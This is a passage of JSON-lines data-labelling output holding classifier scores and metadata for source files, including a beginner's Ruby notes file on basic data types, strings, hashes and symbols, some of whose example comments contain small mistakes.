0.0004179994727034211, "Electronics & Hardware": 0.0009683252778560567, "Health, Healthcare & Wellness": 0.00037354505679426013, "History & Geography": 0.00040477942951247953, "Home, Pets & Hobbies": 0.0003090781289243436, "Industry & Production": 0.00036352356804711123, "Language, Literature & Philosophy": 0.00030452262308837684, "Politics & Government": 0.0007502902877921575, "Religion & Spirituality": 0.0004369190009802828, "Science, Mathematics & Engineering": 0.001364214207615018, "Relationships & Community": 0.00018875449322116296, "Software Usage & Applications": 0.013688622251819717, "Programming & Software Engineering": 0.021924563477914872, "Sports & Fitness": 0.00030593512964900466, "Vehicles & Transportation": 0.0001841242226233258, "Travel & Tourism": 0.0004918084303153621, "Other / Uncovered Subject": 0.0013496933402723371, "NONE": 0.8518114865318248}}, "probabilities": {"primary": {"Academic Writing": 4.8738019442528554e-05, "Content Listing": 3.759478893335432e-05, "Creative Writing": 2.6857101299196564e-05, "Customer Support Page": 3.497367137769614e-05, "Q&A Forum": 2.2634870027728346e-05, "Discussion Thread": 1.528445450055927e-05, "Comment Section": 2.7268555337340692e-05, "Missing Content": 4.88940237274927e-05, "Knowledge Article": 0.0001396700640313058, "Legal Notices": 0.013447044362555184, "News Article": 1.0735430392642176e-05, "Organizational Announcement": 3.605489139945614e-05, "Nonfiction Writing": 2.4107197264841223e-05, "Organizational About Page": 3.3711017457146924e-05, "Personal About Page": 1.2586013520425786e-05, "Personal Blog": 1.479365234546593e-05, "Product Page": 1.6717090577616096e-05, "Spam / Ads": 1.7217960416987565e-05, "Structured Data": 0.00032690218321990096, "Technical Writing": 0.9844028021146977, "Transcript / Interview": 2.9736267375754852e-05, "Tutorial / How-To Guide": 0.0002920822361756225, "User Reviews": 1.2256268682782578e-05, "Other / Unknown": 0.0009213377652412431}, "secondary": {"Academic Writing": 0.00042534982303213235, "Content Listing": 0.0004074790199514452, "Creative Writing": 0.00039323011828872376, "Customer Support Page": 0.00038273508185486917, "Q&A Forum": 0.00024703069728592146, "Discussion Thread": 0.00020984846267399252, "Comment Section": 0.0003680244688312441, "Missing Content": 0.0004255916562936337, "Knowledge Article": 0.0014953855778495255, "Legal Notices": 0.8240732557086848, "News Article": 0.000301619052148534, "Organizational Announcement": 0.00041310167392500914, "Nonfiction Writing": 0.000297214865986653, "Organizational About Page": 0.0003571656794710167, "Personal About Page": 0.00020016605839181912, "Personal Blog": 0.00018820859966968978, "Product Page": 0.0002698143579589331, "Spam / Ads": 0.0002663535993866891, "Structured Data": 0.0016691143272973533, "Technical Writing": 0.07088670725277127, "Transcript / Interview": 0.00036376946269078885, "Tutorial / How-To Guide": 0.0028425617544396327, "User Reviews": 0.00014762874119747575, "NONE": 0.09336864395991891}, "tertiary": {"Academic Writing": 0.0004591274988867533, "Content Listing": 0.00038129383936777624, "Creative Writing": 0.0004151076661283794, "Customer Support Page": 0.00037156890282972696, "Q&A Forum": 0.0001897523129428299, "Discussion Thread": 0.00016767939549112263, "Comment Section": 0.0002924934210070716, "Missing Content": 0.0004497201879373134, "Knowledge Article": 0.0033735497886047913, "Legal Notices": 0.18792926770893434, "News Article": 0.0003063951543408566, "Organizational Announcement": 0.00035531801037450706, "Nonfiction Writing": 0.00031361100567236003, "Organizational About Page": 0.0003529153676294657, "Personal About Page": 0.000186073031923083, "Personal Blog": 0.00019433081531209425, "Product Page": 0.00022400512930109836, "Spam / Ads": 0.00027343035990657364, "Structured Data": 0.0021508091861320274, "Technical Writing": 0.012491090408832395, "Transcript / Interview": 0.0003224766444357152, "Tutorial / How-To Guide": 0.008098056153512946, "User Reviews": 0.00014308408791316977, "NONE": 0.7805588439225837}, "structured_records": {"false": 0.9743241044285534, "true": 0.025675895571446537}, "procedural_steps": {"false": 0.9614857725004105, "true": 0.038514227499589555}, "worked_solution": {"false": 0.9899299354822598, "true": 0.010070064517740179}, "contextual_dialogue": {"false": 0.9999928646963043, "true": 7.135303695664859e-06}, "content_quality": {"-2": 0.003640512888022023, "-1": 0.012991156966509222, "0": 0.1891279628398423, "1": 0.518268698162701, "2": 0.2759716691429255}, "noise_severity": {"0": 0.33479044583574313, "1": 0.5543415854157281, "2": 0.10383110902176705, "3": 0.0038056304846795738, "4": 0.003231229242082265}, "missing_content_severity": {"0": 0.9938374910184722, "1": 0.0030570117449537195, "2": 0.0020571619736297984, "3": 0.0007933002455417398, "4": 0.0002550350174025197}, "factual_density": {"0": 0.0021601457091634754, "1": 0.007363908475726723, "2": 0.09444410570172569, "3": 0.4723475569653865, "4": 0.4236842831479977}, "pretraining_utility": {"-2": 0.006778900034447226, "-1": 0.08386073987010774, "0": 0.39352241047076336, "1": 0.4660945479573678, "2": 0.04974340166731395}, "math_density": {"0": 0.9167986332964138, "1": 0.0762789950070041, "2": 0.0021814369480139296, "3": 0.001016589176205609, "4": 0.0037243455723625853}, "code_density": {"0": 0.0008512938684475277, "1": 0.00206576882586229, "2": 0.08602467455194471, "3": 0.5049898374210466, "4": 0.4060684253326989}, "reasoning_density": {"0": 0.4686642364151392, "1": 0.3089603458104954, "2": 0.18113024460105315, "3": 0.030660218302464494, "4": 0.010584954870847683}, "education_level": {"none": 0.001039154682372285, "0": 0.0016525098753541287, "1": 0.006584112445349358, "2": 0.529019069088192, "3": 0.39486954873054103, "4": 0.0668356051781913}, "creative_writing_quality": {"not_applicable": 0.9991895901599729, "-2": 6.618412824235523e-05, "-1": 0.00020975262050332622, "0": 0.0003654517223542366, "1": 0.00012486218337734233, "2": 4.415918554981195e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.508456545985252e-05, "Art & Design": 3.9005739336642374e-05, "Law & Crime": 0.0017273700885551198, "Education & Careers": 3.815728099182985e-05, "Entertainment & Media": 2.5366080129322117e-05, "Fashion & Beauty": 2.2481729508077356e-05, "Business, Economics & Finance": 0.00013507955117531898, "Food & Dining": 2.1985332674047978e-05, "Games & Gaming": 4.118428657203458e-05, "Electronics & Hardware": 0.00014869134546663395, "Health, Healthcare & Wellness": 2.5473059877908277e-05, "History & Geography": 3.738112370959902e-05, "Home, Pets & Hobbies": 2.1837762289614136e-05, "Industry & Production": 4.237254390376245e-05, "Language, Literature & Philosophy": 3.4535112594110495e-05, "Politics & Government": 2.8937936721921117e-05, "Religion & Spirituality": 2.5269765629877922e-05, "Science, Mathematics & Engineering": 0.00044155267985206527, "Relationships & Community": 1.6779695592840997e-05, "Software Usage & Applications": 0.002297950476735179, "Programming & Software Engineering": 0.9943761463034198, "Sports & Fitness": 4.829437795105369e-05, "Vehicles & Transportation": 1.973211405484757e-05, "Travel & Tourism": 4.280573189791145e-05, "Other / Uncovered Subject": 0.00024174044403910705, "Unknown / Insufficient Content": 6.478487186164971e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006630858850141223, "Art & Design": 0.0005384650886302661, "Law & Crime": 0.09857406152265634, "Education & Careers": 0.0005852351413498954, "Entertainment & Media": 0.0005375466713754936, "Fashion & Beauty": 0.0003488624874445177, "Business, Economics & Finance": 0.0028655775142126852, "Food & Dining": 0.00024898075836251384, "Games & Gaming": 0.00041799947270342117, "Electronics & Hardware": 0.0009683252778560568, "Health, Healthcare & Wellness": 0.0003735450567942602, "History & Geography": 0.0004047794295124796, "Home, Pets & Hobbies": 0.00030907812892434365, "Industry & Production": 0.0003635235680471113, "Language, Literature & Philosophy": 0.0003045226230883769, "Politics & Government": 0.0007502902877921576, "Religion & Spirituality": 0.0004369190009802829, "Science, Mathematics & Engineering": 0.0013642142076150182, "Relationships & Community": 0.00018875449322116298, "Software Usage & Applications": 0.013688622251819719, "Programming & Software Engineering": 0.021924563477914875, "Sports & Fitness": 0.0003059351296490047, "Vehicles & Transportation": 0.00018412422262332584, "Travel & Tourism": 0.0004918084303153622, "Other / Uncovered Subject": 0.0013496933402723373, "NONE": 0.8518114865318249}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9923, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9923, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:32:06.108083+00:00", "scoring_key_slot": "primary", "dataset_uid": "6ea6b564-0a77-4a95-9129-2cc466149dbd", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "2ee80b641c6f9cb5ed03cc84c4d06e43e3c95d2ecdeee693724789cd2a55ae15", "source_metadata": {"uuid": "6ea6b564-0a77-4a95-9129-2cc466149dbd", "repo_name": "flexera-public/right_cloud_api_base", "relative_path": "lib/base/routines/request_analyzer.rb", "category": "TOOL", "algo_rel_score": 0.8450919389724731, "quality_score": 5.719903469085693, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 84, "repo_created_at": "2013-04-05T22:08:57.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 2, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "fca75453984b39f5972e9f8f0d34a0f0edd4cb1c", "size_bytes": 6056, "file_timestamp": 1725469749, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "e3c2eac5efe932616f32d7b0fbac08057fdeeb00"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 84, "repo_created_at": "2013-04-05T22:08:57.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 2, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "fca75453984b39f5972e9f8f0d34a0f0edd4cb1c", "size_bytes": 6056, "file_timestamp": 1725469749, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "e3c2eac5efe932616f32d7b0fbac08057fdeeb00", "url": "https://github.com/flexera-public/right_cloud_api_base/blob/e3c2eac5efe932616f32d7b0fbac08057fdeeb00/lib/base/routines/request_analyzer.rb"}, "gpt4o_tokens": 1360, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.0499398537059987, "noise_severity": 0.7863456118816298, "missing_content_severity": 0.010571376498448614, "factual_density": 3.3080319233673285, "pretraining_utility": 0.46816281135299354, "math_density": 0.09858901872109913, "code_density": 3.313358331523687, "reasoning_density": 0.805541309403386, "education_level": 2.5191911468021115, "creative_writing_quality": -0.1591050800996729}, "score_applicability": {"education_level": 0.9989608453176277, "creative_writing_quality": 0.0008104098400270723}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/MarkBWilliams11/ruby_stuff/blob/c013cb49ed9d21ee0be0f3f0e3d7a042e3501341/file_one.rb", "id": "ruby-0-3937d32b003a84cce8d28a1711cfdd5d", "text": "# ruby-doc.org ruby docs\n# basic data types\n\n# Numbers\n# add\n1 + 1\n\n# subtract\n5 - 3\n# Multiply\n5 * 3\n# Divde\n5 / 3\n# Exponet\n5**3\n\n# modules\n8 % 6\n\n# Integers and Floats two main types of number in ruby\n# interger is a whole number 1\n# float is a decimal point number 1.2\n# Note ruby always results in an integer when doing arithmetic with two numbers\n17 / 5 # 3, not 3.5\n# to obtain accurate answer one number must already be a float\n17 / 5.0 # 3.4\n\n# Difference between modulo Vs Remainder\n\n# remainder\nputs 16.remainder(5) #=> 1\n\n# divmod computes both the integer results of the division snd its modulo value\nputs 16.divmod(5) #=> [3,1]\n\n# Modulo opertation return a positive interger when the\n# second operand is positive, and a negative integer when the second\n# operand is negetive.\n#\n# Remainder operation returns a positive integer when the first operand\n# is positive, and a negative integer when the first operand is negative\n#\n# EX:\n# a= 17\n# b= 5\n# a%b=2 a.remainder(b)=2 a.divmod(b)=[3/2]\n#\n# a= 17\n# b= -5\n# a%b=-3 a.remainder(b)=2 a.divmod(b)=[-4/-3]\n#\n# a= -17\n# b= 5\n# a%b= 3 a.remainder(b)= -2 a.divmod(b)=[-4/-3]\n#\n# a= -17\n# b= -5\n# a%b= -2 a.remainder(b)= -2 a.divmod(b)=[3/-2]\n#\n# **try working with positive integers, when trying to get th remainder\n#\n\n# converting number types\n\n# converts integer to float\n13.to_f # 13.0\n# convert float to an interger\n13.0.to_i # 13 no rounding just cut off\n\n# useful number method\n# Even\nputs 6.even? #=> true\nputs 7.even? #=> false\n\n# Odd\nputs 6.odd? #=> false\nputs 7.odd? #=> true\n\n# String ...Use They well\n# String Concatenation remeber the space!\n# w/ +\nputs 'Hey ' + 'there ' + 'stranger'\n# w/ <<\nputs 'Hey ' << 'there ' << 'stranger'\n\n# w/ contact method\n'Welcome'.concat('to').concat('Ruby')\n\n# Arrays\nputs [1, 2, 3, 6, 4]\n# zero base index\nputs [1, 2, 3, 6, 4][1] #=>2\n\n# stringsub setmethod\nputs 'hello'[0] #=>'h'\nputs 'hello'[0..1] #=>'he'\nputs 'hello'[0, 4] #=>'hell'\nputs 'hello'[-1] #=>'0'\n\n# Escape characters allow us to type in respresentation of whitespce\n# and to include quotation marks inside your string accidentally ending it\n# Note: escape characters only work inside double quotation marks\n# \\\\ #=> Need a backslash in your string?\n# \\b #=> Backspace\n# \\r #=> Carriage return, for those of you that love typewriters\n# \\n #=> Newline. You'll likely use this one the most.\n# \\s #=> Space\n# \\t #=> Tab\n# \\\" #=> Double quotation mark\n# \\' #=> Single quotation mark\n\nputs \"Hello, Welcome to 'ruby' \" #=> using single and double\nputs 'Hello, Welcome to \\ruby\\'' #=> using single quatation marks\n\n# interpolation\n# String interpolation allows you to evalueate a string that contains\n# a placeholder\nname = 'Mac'\nputs \"Whats Good, #{name}\" #=> \"Whats Good, Mac\"\n\n# common string methods\n# Ruby Docs string methods https://ruby-doc.org/core-2.7.1/String.html\n\n# capitalize\nputs 'hello'.capitalize #=> \"Hello\"\n\n# includes?\nputs 'hello'.include?('lo') #=> true\nputs 'hello'.include?('Q') #=> false\n\n# uppercase\nputs 'hello'.upcase #=> \"HELLO\"\n\n# downcase\nputs 'HELLO'.downcase #=> \"hello\"\n\n# empty\nputs 'hello'.empty? #=>false\n''.empty? #=>true\n\n# length\nputs 'hello'.length # =>5\n\n# reverse\nputs 'hello'.reverse # \"olleh\"\n\n# split\n'hello world'.split # [\"hello\",\"world\"]\nputs 'hello'.split('') # [\"h\",\"e\",\"l\",\"l\",\"o\"]\n\n# strip\nputs 'hello, world '.strip # \"hello, world\"\n\n# Other useful methods\nputs 'ha77y'.sub('7', 'p') #=>\"hap7y\"\nputs 'ha77y'.gsub('7', 'p') #=>\"happy\"\nputs 'happy'.insert(-1, ' Day') #=>\"happy Day\"\nputs '!'.prepend('happy', ' Day') #=>\"happy Day!\"\n\n# converting other object to strings\n5.to_s #=> \"5\"\nnil.to_s #=> \"nil\"\n:symbol.to_s #=> \"symbol\"\n\n# mutli line comment\n\n# So string can be changed, so eveytime a string is used\n# ruby has to store it in memory even if value exists.\n#\n# Symbols are strings\n# Symbols are store in memory only once, making them fater in certain\n# situations\n#\n# one common application where symbols are preferred over strings are the\n# keys in hashes\nputs 'string' == 'string' # true\n\nputs 'string'.equal?('string') #=> false\n\nputs :symbol.equal?(:symbol) #=> true\n\n# examples of a symbol\n:name\n:a_symbol\n:\"This is also a symbol\"\n\n# Booleans more detail in conditional logic\n# True and false\n#\n# The boolean values true andd false represent what they do!\n#\n# nil represents \"nothing\".\n# Note: Everything in ruby have to return something\nputs nil #=>\"nothing\"\nputs nothing = nil #=> \"nothing\"\nputs 'hello, wolrd'.nil? #=> false\n\n# when used in an if statement, treated as false, absence of content\nif nil\n puts 'hello, World' #=> nothing\nend\n# 1 is not \"nothing\" and not false so it prints\nif 1\n puts 'hello, World' #=>\"hello, world\"\nend\n\n# Hashes is a set os key-value pair { }\n# hashes usually have a key assigned with a specific value\n# the key usually represented by symbol that points to a value\n# with(=>) of any type of data\n#\n# we use key set to retrive our values\n\nmyHash = {\n 'Key' => 'value',\n 'Key2' => 'value2'\n}\n\nputs myHash['Key'] # puts value\n\n# creating hashes\nmyHash = {}\nmyHash['Key'] = 'value'\nmyHash['Key2'] = 'value2'\n\n# instead of using a string as key can use symbol\nmyHash = {}\nmyHash[:Key] = 'value'\nmyHash[:Key2] = 'value2'\n\nputs myHash[:Key] # puts \"value\"\n\nmyFirstHash = {\n 'Dog' => 'Dave'\n}\nputs myFirstHash['Dog']\n\npets = { dog: 'bark', cat: 'cat', pig: 'oink' }[:pig]\nputs pets\n\n# Expressions and Retruns\n# Expression is anything that can be evaluated ruby expression\n# always return something\n\n# puts vs return\n# Puts tells ruby to print soething to the screen, but it does not return\n# aything thing. Expressions do soemthing, and also return something.\n\nputs 'stuff'\n\na = puts 'something else'\n\nputs a\n\n# Objects in Ruby\n\n# An object is a location in a computer memory where you can store DATA\n# (aka values) that could be string, number, array, hash, time.....\n#\n# the differernt kinda of objects are classes or types\n#\n# Everytime an object recieves a message, it reuturns a response\n# Or value or returned value\n\n# Messages and operators\n# and object responds to messages, send it messages using operators\n# most powerful is the .\n\n# EX: \"apple\".upcase\n", "text_preview": "# ruby-doc.org ruby docs # basic data types # Numbers # add 1 + 1 # subtract 5 - 3 # Multiply 5 * 3 # Divde 5 / 3 # Exponet 5**3 # modules 8 % 6 # Integers and Floats two main types of number in ruby # interger is a whole number 1 # float i", "input_sha256": "b430ef0aa69f7d6bcdb769c43d45dca7cd654fc121bff61d41bdf830deea4e1f", "text_sha256": "3937d32b003a84cce8d28a1711cfdd5dd77d0b14575a4ef605fac9a9fe098d31", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16046, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": -1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 1, "math_density": 1, "code_density": 3, "reasoning_density": 0, "education_level": 1, "creative_writing_quality": null}, "score_expectations": {"content_quality": -0.34015482295880894, "noise_severity": 0.528161921952988, "missing_content_severity": 0.048925218840723435, "factual_density": 3.1401278181788794, "pretraining_utility": 0.5592906477926809, "math_density": 1.546153217584318, "code_density": 3.267182531044512, "reasoning_density": 0.7045353821704463, "education_level": 1.397618209024204, "creative_writing_quality": -0.6926243349039091}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "1", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.3211647659444657, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.629159475390089, "secondary": 0.41707828011266207, "tertiary": 0.7522067315329742, "structured_records": 0.10800010196301758, "procedural_steps": 0.11931270784463269, "worked_solution": 0.32610039439346833, "contextual_dialogue": 6.905948317209477e-06, "content_quality": 0.39485875468239495, "noise_severity": 0.5598650650391765, "missing_content_severity": 0.9592289842993971, "factual_density": 0.5739138458403564, "pretraining_utility": 0.5105124721110359, "math_density": 0.4229203915487092, "code_density": 0.545545109815573, "reasoning_density": 0.412887181524628, "education_level": 0.3740181837986533, "creative_writing_quality": 0.9976742345936096, "primary_topic": 0.9910483220515462, "secondary_topic": 0.9065326974707745}, "probability_margin": {"primary": 0.3095649757718577, "secondary": 0.16600598167828612, "tertiary": 0.6704540877300998, "education_level": 0.03189872568636254, "creative_writing_quality": 0.9972213293341172, "primary_topic": 0.9867937191151276, "secondary_topic": 0.8701871716743775}, "raw_probabilities": {"primary": {"Academic Writing": 0.00036829060602055135, "Content Listing": 0.000540682938096726, "Creative Writing": 0.000300416936315591, "Customer Support Page": 0.0007878054388714139, "Q&A Forum": 0.0002881231418700406, "Discussion Thread": 0.00019577962203260127, "Comment Section": 0.0003754298695087258, "Missing Content": 0.0002593370445991433, "Knowledge Article": 0.01027363178804082, "Legal Notices": 0.00022228724253448592, "News Article": 0.0001438518635468996, "Organizational Announcement": 0.00025214004403547495, "Nonfiction Writing": 0.0003672743239254235, "Organizational About Page": 0.00031543952936942957, "Personal About Page": 0.0002745286838344572, "Personal Blog": 0.00020631882430993277, "Product Page": 0.00017111634587612689, "Spam / Ads": 0.0002757185677323479, "Structured Data": 0.0005875240298904982, "Technical Writing": 0.6446111639155019, "Transcript / Interview": 0.0004478915054443469, "Tutorial / How-To Guide": 0.3350461881436442, "User Reviews": 0.0001635791390388146, "Other / Unknown": 0.003525480455960054}, "secondary": {"Academic Writing": 0.0006862229244747817, "Content Listing": 0.0008059710449016934, "Creative Writing": 0.0007705492182727379, "Customer Support Page": 0.0024749903303721617, "Q&A Forum": 0.0004915306472566307, "Discussion Thread": 0.00035144061203005685, "Comment Section": 0.0005926413539929185, "Missing Content": 0.0005682584019951184, "Knowledge Article": 0.04175945133208531, "Legal Notices": 0.00042346675486841805, "News Article": 0.0003749035771829671, "Organizational Announcement": 0.0004862001920514946, "Nonfiction Writing": 0.0007186460515420764, "Organizational About Page": 0.0006639613918818115, "Personal About Page": 0.0004685253630168688, "Personal Blog": 0.00040055343856532614, "Product Page": 0.0003450731488906308, "Spam / Ads": 0.0004199601911231027, "Structured Data": 0.0009980733694053368, "Technical Writing": 0.22836892265579556, "Transcript / Interview": 0.0008247163216668565, "Tutorial / How-To Guide": 0.2753607034296817, "User Reviews": 0.0002785531409784752, "NONE": 0.44136668510796784}, "tertiary": {"Academic Writing": 0.0005732207668175687, "Content Listing": 0.0014645210283118033, "Creative Writing": 0.0005758570938103572, "Customer Support Page": 0.004370778422699966, "Q&A Forum": 0.00028045020319929025, "Discussion Thread": 0.00023721982368012906, "Comment Section": 0.00035873873211397393, "Missing Content": 0.0004474654467468206, "Knowledge Article": 0.06996610990222595, "Legal Notices": 0.00024023204302991974, "News Article": 0.00016777790276296153, "Organizational Announcement": 0.00026957106505398675, "Nonfiction Writing": 0.000765630833287119, "Organizational About Page": 0.00038175304606029065, "Personal About Page": 0.00029036632172953805, "Personal Blog": 0.0002993051051744561, "Product Page": 0.00018669810744046137, "Spam / Ads": 0.00033361425823543096, "Structured Data": 0.0012704930119521545, "Technical Writing": 0.06220398857253694, "Transcript / Interview": 0.0005857637028960119, "Tutorial / How-To Guide": 0.09207736332233375, "User Reviews": 0.00012163023546749756, "NONE": 0.7625314510524336}, "structured_records": {"false": 0.8919998980369824, "true": 0.10800010196301758}, "procedural_steps": {"false": 0.8806872921553673, "true": 0.11931270784463269}, "worked_solution": {"false": 0.6738996056065316, "true": 0.32610039439346833}, "contextual_dialogue": {"false": 0.9999930940516828, "true": 6.905948317209477e-06}, "content_quality": {"-2": 0.03316215866996742, "-1": 0.4298988255322387, "0": 0.3951027666682888, "1": 0.12760417834564597, "2": 0.014232070783859267}, "noise_severity": {"0": 0.6393021743805074, "1": 0.22035593694378455, "2": 0.11948869140106559, "3": 0.014584186891497984, "4": 0.006269010383144606}, "missing_content_severity": {"0": 0.969108803142086, "1": 0.016149232626414458, "2": 0.011995312249819931, "3": 0.0022012462120499362, "4": 0.00054540576962983}, "factual_density": {"0": 0.002692398157431916, "1": 0.007255346241461435, "2": 0.16299989645112795, "3": 0.501336757564753, "4": 0.3257156015852257}, "pretraining_utility": {"-2": 0.009013059225336859, "-1": 0.07928202728529765, "0": 0.3284439605904322, "1": 0.5099231122692144, "2": 0.07333784062971896}, "math_density": {"0": 0.07317115627861542, "1": 0.47428500340025737, "2": 0.33270021854341825, "3": 0.07290671001361157, "4": 0.04693691176409738}, "code_density": {"0": 0.0011799824777357023, "1": 0.0044974534231706454, "2": 0.12654681430885184, "3": 0.4615115501573299, "4": 0.406264199632912}, "reasoning_density": {"0": 0.46503040301075454, "1": 0.3793810099614867, "2": 0.14358896037032554, "3": 0.010022055161424173, "4": 0.001977571496008991}, "education_level": {"none": 0.0027190179770555964, "0": 0.06554496073231444, "1": 0.4783484864988778, "2": 0.44644976081251525, "3": 0.005181044052049398, "4": 0.0017567299271876828}, "creative_writing_quality": {"not_applicable": 0.9980618621613413, "-2": 0.00034771916965696347, "-1": 0.0008405328272240321, "0": 0.0005995865140878924, "1": 0.00010702892029481246, "2": 4.327040739502393e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.2739111680671824e-05, "Art & Design": 4.867188455017611e-05, "Law & Crime": 3.6798130461535e-05, "Education & Careers": 0.0013289844642564725, "Entertainment & Media": 3.0439096191401908e-05, "Fashion & Beauty": 1.778538738058357e-05, "Business, Economics & Finance": 4.0985249716530245e-05, "Food & Dining": 2.2801417323429226e-05, "Games & Gaming": 4.463853777201927e-05, "Electronics & Hardware": 8.408023353510017e-05, "Health, Healthcare & Wellness": 2.0436037323303098e-05, "History & Geography": 3.382907259516185e-05, "Home, Pets & Hobbies": 3.2502275961392865e-05, "Industry & Production": 2.4338518515594854e-05, "Language, Literature & Philosophy": 0.0004184025201539747, "Politics & Government": 1.550304046903283e-05, "Religion & Spirituality": 3.1618676517746386e-05, "Science, Mathematics & Engineering": 0.004598898242128499, "Relationships & Community": 1.5758587891532128e-05, "Software Usage & Applications": 0.0013297793731979384, "Programming & Software Engineering": 0.991392617357256, "Sports & Fitness": 4.214679784631718e-05, "Vehicles & Transportation": 2.4053096599639347e-05, "Travel & Tourism": 3.8638066640561753e-05, "Other / Uncovered Subject": 0.00024554206146842753, "Unknown / Insufficient Content": 4.801276256685316e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00044034548065068654, "Art & Design": 0.0003685621005229857, "Law & Crime": 0.00040642230755809496, "Education & Careers": 0.021663953197365637, "Entertainment & Media": 0.00037492240733675815, "Fashion & Beauty": 0.00017433923278565715, "Business, Economics & Finance": 0.00038436214531481256, "Food & Dining": 0.0001920102413852663, "Games & Gaming": 0.00027602485884328115, "Electronics & Hardware": 0.0004871563815132497, "Health, Healthcare & Wellness": 0.00020170139206979727, "History & Geography": 0.0002609299033787038, "Home, Pets & Hobbies": 0.0002704642689239809, "Industry & Production": 0.00015773506198982307, "Language, Literature & Philosophy": 0.0011677294741631414, "Politics & Government": 0.00016075854273666826, "Religion & Spirituality": 0.00024592913091695933, "Science, Mathematics & Engineering": 0.03994042204752104, "Relationships & Community": 0.00012514718989408666, "Software Usage & Applications": 0.002051041160653248, "Programming & Software Engineering": 0.019311734333819566, "Sports & Fitness": 0.00019298679785708796, "Vehicles & Transportation": 0.00010632409052996378, "Travel & Tourism": 0.0002709509133559322, "Other / Uncovered Subject": 0.0006404536170149921, "NONE": 0.9101275937218986}}, "probabilities": {"primary": {"Academic Writing": 0.00036829060602055135, 